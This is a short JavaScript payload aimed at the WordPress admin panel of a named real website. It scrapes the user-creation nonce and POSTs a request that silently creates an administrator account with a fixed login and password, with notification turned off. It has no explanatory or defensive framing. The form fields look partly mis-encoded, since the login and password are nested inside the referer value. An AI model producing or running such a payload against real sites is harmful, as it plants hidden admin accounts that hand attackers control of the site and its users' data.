const url = 'https://www.easy50.com.br/wp-admin/user-new.php';

fetch(url)
  .then(response => response.text())
  .then(html => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const nonceValue = doc.getElementById('_wpnonce_create-user').value;
    const requestOptions = {
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
      },
      body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(
        nonceValue
      )}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php%26user_login%3Dadminpepek%26email%3Dadmin%40pepek.com%26first_name%3D%26last_name%3D%26url%3D%26pass1%3DstoNIsMATe%26pass2%3DstoNIsMATe&send_user_notification=0&role=administrator&ure_other_roles=&createuser=Add+New+User`
    };

    return fetch(url, requestOptions);
  });